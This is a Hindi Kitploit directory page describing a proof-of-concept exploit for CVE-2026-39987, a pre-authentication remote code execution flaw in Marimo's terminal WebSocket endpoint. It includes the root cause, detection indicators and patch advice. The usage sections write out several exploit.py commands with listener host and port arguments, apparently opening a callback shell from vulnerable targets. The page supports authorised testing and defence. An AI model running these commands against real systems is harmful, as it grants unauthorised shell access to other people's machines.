Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-39987 — CVE-2026-39987 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Marimo के टर्मिनल WebSocket एंडपॉइंट में प्री-ऑथेंटिकेशन RCE है। यह बिना प्रमाणीकरण के कमांड निष्पादन प्रदर्शित करता है और कमजोर तथा पैच किए गए इंस्टेंस के लिए सत्यापन परीक्षण शामिल करता है। | Kitploit
उपकरण/GitHubGitHub/th3purge/cve-2026-39987
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंग
GitHubth3purge/cve-2026-39987

CVE-2026-39987

CVE-2026-39987 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Marimo के टर्मिनल WebSocket एंडपॉइंट में प्री-ऑथेंटिकेशन RCE है। यह बिना प्रमाणीकरण के कमांड निष्पादन प्रदर्शित करता है और कमजोर तथा पैच किए गए इंस्टेंस के लिए सत्यापन परीक्षण शामिल करता है।

रिपॉजिटरी देखें
17घं 18मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-39987 Marimo प्री-ऑथेंटिकेशन RCE


📋 भेद्यता जानकारी

गुणमान
CVECVE-2026-39987
उत्पादMarimo
भेद्यताप्री-ऑथेंटिकेशन रिमोट कोड निष्पादन
हमला वेक्टरनेटवर्क
प्रमाणीकरणआवश्यक नहीं
उपयोगकर्ता सहभागिताआवश्यक नहीं
CWECWE-306 — महत्वपूर्ण कार्य के लिए प्रमाणीकरण का अभाव
गंभीरताक्रिटिकल
स्थिर संस्करण0.23.0

CVE-2026-39987 Marimo, एक रिएक्टिव पायथन नोटबुक वातावरण, को प्रभावित करने वाली एक क्रिटिकल प्री-ऑथेंटिकेशन रिमोट कोड निष्पादन (RCE) भेद्यता है। यह भेद्यता टर्मिनल WebSocket एंडपॉइंट /terminal/ws में स्थित है।


🔍 मूल कारण

कमजोर टर्मिनल एंडपॉइंट WebSocket कनेक्शन स्वीकार करने के बाद एक इंटरैक्टिव PTY बनाता है।

अवधारणात्मक रूप से, कमजोर अनुरोध प्रवाह इस प्रकार है:

root@kitploit:~
रिमोट क्लाइंट
     |
     | WebSocket कनेक्शन
     v
/terminal/ws
     |
     | प्रमाणीकरण सत्यापन का अभाव
     v
WebSocket स्वीकृत
     |
     v
PTY निर्मित
     |
     v
इंटरैक्टिव शेल

महत्वपूर्ण सुरक्षा सीमा प्रमाणीकरण जांच का अभाव है।

मनमाना कमांड निष्पादन उजागर करने वाला एंडपॉइंट किसी अनप्रमाणित क्लाइंट को PTY निर्माण तर्क तक पहुंचने की अनुमति नहीं देनी चाहिए।


🎯 उद्देश्य और दायरा

प्राथमिक उद्देश्य

इस परियोजना का उद्देश्य नियंत्रित वातावरण में, Marimo के टर्मिनल WebSocket एंडपॉइंट को प्रभावित करने वाले प्रमाणीकरण प्रवर्तन के अभाव को प्रदर्शित करना है।

सुरक्षा टीमें इस परियोजना का उपयोग कर सकती हैं:

  • अपने Marimo इंस्टेंस के जोखिम को मान्य करने के लिए
  • सुरक्षा पैच की प्रभावशीलता को सत्यापित करने के लिए
  • संभावित सुरक्षा प्रभाव का दस्तावेजीकरण करने के लिए
  • रक्षात्मक नियंत्रणों में सुधार करने के लिए
  • अधिकृत भेद्यता सत्यापन का समर्थन करने के लिए

अधिकृत वातावरण

  • परीक्षक के स्वामित्व वाली सुरक्षा प्रयोगशालाएँ
  • स्पष्ट लिखित प्राधिकरण वाले सिस्टम
  • प्रशिक्षण और शैक्षिक वातावरण
  • अधिकृत पैठ परीक्षण और सुरक्षा मूल्यांकन

चेतावनी: PoC केवल उन सिस्टमों के विरुद्ध चलाएं जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपको स्पष्ट रूप से अधिकृत किया गया है।


🔗 शोषण श्रृंखला

पूर्ण भेद्यता श्रृंखला को इस प्रकार संक्षेपित किया जा सकता है:

root@kitploit:~
1. हमलावर उजागर Marimo इंस्टेंस की खोज करता है
                |
                v
2. हमलावर /terminal/ws से कनेक्ट होता है
                |
                v
3. प्रमाणीकरण लागू नहीं किया जाता
                |
                v
4. WebSocket कनेक्शन स्वीकार किया जाता है
                |
                v
5. PTY टर्मिनल निर्मित होता है
                |
                v
6. हमलावर कमांड निष्पादन प्राप्त करता है
                |
                v
7. कमांड Marimo प्रक्रिया के रूप में निष्पादित होते हैं

महत्वपूर्ण सुरक्षा विफलता चरण 3 पर होती है।


📦 स्थापना

आवश्यकताएँ

root@kitploit:~
Python 3.7+
pip
अधिकृत लक्ष्य तक नेटवर्क पहुंच

निर्भरताएँ

root@kitploit:~
# मूल स्थापना
pip install websocket-client

# पूर्ण स्थापना
pip install websocket-client rich

सत्यापन

root@kitploit:~
python3 exploit.py --help

🚀 उपयोग मार्गदर्शिका

मूल सिंटैक्स

root@kitploit:~
python3 exploit.py -u <TARGET_URL> --lhost <LOCAL_IP> --lport <PORT>

व्यावहारिक उदाहरण

1. स्थानीय प्रयोगशाला परीक्षण

root@kitploit:~
python3 exploit.py \
  -u http://127.0.0.1:8081 \
  --lhost 127.0.0.1 \
  --lport 4444

2. अधिकृत रिमोट परीक्षण

root@kitploit:~
python3 exploit.py \
  -u https://marimo.example.com \
  --lhost 192.168.1.100 \
  --lport 5555 \
  --timeout 30 \
  --retries 5

3. डीबग मोड

root@kitploit:~
python3 exploit.py \
  -u http://target:8081 \
  --lhost 10.0.0.5 \
  --lport 9999 \
  --verbose \
  --no-verify-ssl \
  --retry-delay 1.5

📋 पैरामीटर संदर्भ

पैरामीटरप्रकारविवरणडिफ़ॉल्ट
-u, --urlstringलक्ष्य Marimo इंस्टेंस का आधार URLआवश्यक
--lhoststringलिसनर IP पताआवश्यक
--lportintलिसनर पोर्ट (1-65535)आवश्यक
--timeoutintलिसनर टाइमआउट सेकंड में15
--retriesintWebSocket कनेक्शन पुनर्प्रयास3
--retry-delayfloatपुनर्प्रयासों के बीच देरी2.0
--no-verify-sslflagSSL प्रमाणपत्र सत्यापन अक्षम करेंFalse
-v, --verboseflagविस्तृत आउटपुट सक्षम करेंFalse
-s, --silentflagआउटपुट दबाएंFalse

🔄 शोषण कार्यप्रवाह

root@kitploit:~
चरण 1: आरंभीकरण
    ↓ पैरामीटर सत्यापित करें
    ↓ लॉगिंग कॉन्फ़िगर करें

चरण 2: तैयारी
    ↓ लिसनर आरंभ करें
    ↓ WebSocket कनेक्शन स्थापित करें

चरण 3: सत्यापन
    ↓ टर्मिनल एंडपॉइंट का परीक्षण करें
    ↓ प्रमाणीकरण प्रवर्तन सत्यापित करें
    ↓ कनेक्शन व्यवहार रिकॉर्ड करें

चरण 4: प्रदर्शन
    ↓ अधिकृत परीक्षण सत्र स्थापित करें
    ↓ कमांड-निष्पादन संदर्भ सत्यापित करें
    ↓ सत्यापन साक्ष्य एकत्र करें

चरण 5: सफाई
    ↓ टर्मिनल स्थिति पुनर्स्थापित करें
    ↓ कनेक्शन बंद करें
    ↓ संसाधन मुक्त करें

🧪 सत्यापन परीक्षण

परीक्षण परिदृश्य

कमजोर इंस्टेंस

root@kitploit:~
python3 exploit.py \
  -u http://vulnerable:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

अपेक्षित परिणाम: कमजोर टर्मिनल एंडपॉइंट अनप्रमाणित कनेक्शन स्वीकार करता है।

पैच किया गया इंस्टेंस

root@kitploit:~
python3 exploit.py \
  -u http://patched:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

अपेक्षित परिणाम: कनेक्शन प्रमाणीकरण नियंत्रणों द्वारा अस्वीकार या अन्यथा रोका जाता है।

टाइमआउट परीक्षण

root@kitploit:~
python3 exploit.py \
  -u http://firewalled:8081 \
  --lhost 10.0.0.1 \
  --lport 4444 \
  --timeout 5

अपेक्षित परिणाम: टाइमआउट स्पष्ट रूप से रिपोर्ट किया जाता है।


📈 भेद्यता आँकड़े

root@kitploit:~
गंभीरता:       क्रिटिकल (CVSS 9.3)
जटिलता:        निम्न
प्रमाणीकरण:    आवश्यक नहीं
प्रभाव:         रिमोट कोड निष्पादन
प्रोटोकॉल:      WebSocket
एंडपॉइंट:       /terminal/ws
स्थिर संस्करण:  0.23.0

स्रोत README इस मुद्दे को CVSS 9.3 क्रिटिकल के रूप में वर्गीकृत करता है और CWE-306, प्रोटोकॉल के रूप में WebSocket, और प्रभावित एंडपॉइंट के रूप में /terminal/ws की पहचान करता है।


🔎 पहचान

शोषण के संभावित संकेतकों में निम्नलिखित के लिए अप्रत्याशित WebSocket कनेक्शन शामिल हैं:

root@kitploit:~
/terminal/ws

रक्षकों को जांच करनी चाहिए:

  • टर्मिनल WebSocket एंडपॉइंट से अप्रत्याशित कनेक्शन
  • Marimo द्वारा उत्पन्न अप्रत्याशित शेल प्रक्रियाएँ
  • संदिग्ध चाइल्ड प्रक्रियाएँ
  • अप्रत्याशित आउटबाउंड कनेक्शन
  • संवेदनशील पर्यावरण चरों तक पहुंच
  • अप्रत्याशित फाइलसिस्टम गतिविधि
  • Marimo प्रक्रिया द्वारा निष्पादित अज्ञात कमांड

🛡️ उपचार

Marimo को स्थिर रिलीज़ में अपग्रेड करें:

root@kitploit:~
0.23.0 या बाद का संस्करण

अतिरिक्त रक्षात्मक अनुशंसाओं में शामिल हैं:

  • जब तक आवश्यक न हो, Marimo को सीधे सार्वजनिक इंटरनेट पर उजागर न करें।
  • नोटबुक सेवाओं को प्रमाणित रिवर्स प्रॉक्सी के पीछे रखें।
  • नेटवर्क पहुंच को विश्वसनीय उपयोगकर्ताओं और नेटवर्क तक सीमित करें।
  • Marimo को न्यूनतम आवश्यक विशेषाधिकारों के साथ चलाएं।
  • संवेदनशील होस्ट निर्देशिकाओं को कंटेनरों में माउंट करने से बचें।
  • उन क्रेडेंशियल्स को घुमाएं जो समझौता किए गए इंस्टेंस के लिए सुलभ रहे हों।
  • संदिग्ध /terminal/ws गतिविधि के लिए लॉग की समीक्षा करें।
  • यह मानने के बजाय संभावित रूप से समझौता किए गए इंस्टेंस की जांच करें कि केवल पैचिंग से हमलावर की दृढ़ता समाप्त हो जाती है।

🔐 सुरक्षा वर्गीकरण

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
गंभीरता:   क्रिटिकल
प्रकार:     प्री-ऑथेंटिकेशन RCE
प्रोटोकॉल:  WebSocket
एंडपॉइंट:   /terminal/ws
प्रमाणीकरण: आवश्यक नहीं
स्थिर:      0.23.0

📄 लाइसेंस

केवल अधिकृत उपयोग

यह परियोजना विशेष रूप से निम्नलिखित के लिए प्रदान की गई है:

  • अधिकृत सुरक्षा परीक्षण
  • शैक्षणिक अनुसंधान
  • भेद्यता सत्यापन
  • सुरक्षा प्रशिक्षण
  • रक्षात्मक सुरक्षा विकास

अनधिकृत उपयोग सख्त वर्जित है और यह लागू स्थानीय और अंतर्राष्ट्रीय कानूनों का उल्लंघन कर सकता है।


⚠️ अस्वीकरण

यह परियोजना सुरक्षा अनुसंधान, भेद्यता सत्यापन और शैक्षिक उद्देश्यों के लिए प्रदान की गई है।

PoC का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।

अनुरक्षक दुरुपयोग, अनधिकृत परीक्षण, क्षति, डेटा हानि, या इस परियोजना के उपयोग से उत्पन्न किसी भी परिणाम के लिए जिम्मेदार नहीं हैं।

टूल डाउनलोड करें